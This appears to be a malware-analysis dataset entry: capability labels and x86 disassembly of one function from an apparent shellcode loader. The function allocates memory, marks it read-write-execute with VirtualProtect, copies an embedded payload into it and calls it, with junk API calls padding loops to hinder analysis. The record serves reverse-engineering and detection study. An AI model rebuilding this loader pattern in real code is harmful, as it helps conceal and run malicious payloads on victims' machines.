Function at 0x4037d9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x420717
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bbf0
push ebx
push esi
xor esi, esi
cmp dword [0x4d3588], 0x5b1
push edi
jne 0x403894
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402d98
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea eax, [esp + 0x24]
call fcn.00403b5c
push esi
mov dword [esp + 0x1cf0], esi
call fcn.004046f1
pop ecx
call fcn.0040468f
push 0x402de8
lea ecx, [esp + 0x14]
call fcn.004033b0
lea ecx, [esp + 0x10]
call fcn.004033cc
lea ecx, [esp + 0x10]
call fcn.00403412
lea ecx, [esp + 0x10]
call fcn.0040342b
push esi
push esi
call fcn.00404a0e
push esi
call fcn.004049df
add esp, 0xc
push esi
call fcn.00404e27
add dword [0x4d3588], 0x1134b
push dword [0x4d3588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x4d3588]
mov dword [0x4d24dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4038ec
inc edi
cmp edi, 0x4f6a4
jl 0x4038cc
xor edi, edi
cmp dword [0x4d3588], esi
jbe 0x40394a
cmp dword [0x4d3588], 0xa8
mov eax, dword [0x4d358c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d24dc]
mov byte [ecx + edi], al
jne 0x403941
push 0x402df8
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x402e30
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x4d3588]
jb 0x4038f6
xor edi, edi
mov eax, dword [0x4d3588]
add eax, edi
cmp eax, 0xe
jne 0x4039b0
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402e80
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402e98
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402ee8
push 0x402f08
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x40394c
call fcn.004036bd
xor edi, edi
call ebx
cmp edi, 0x26
jne 0x4039cc
call fcn.004037bf
inc edi
cmp edi, 0x6753f
jl 0x4039c0
push 0x7b
pop edi
cmp dword [0x4d3588], 0x86
jne 0x403a3d
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x402f28
push 0x402f90
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403008
push 0x40304c
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x4d3588], 0xf
jne 0x403a4e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
dec edi
jne 0x4039d8
push 0x40306c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret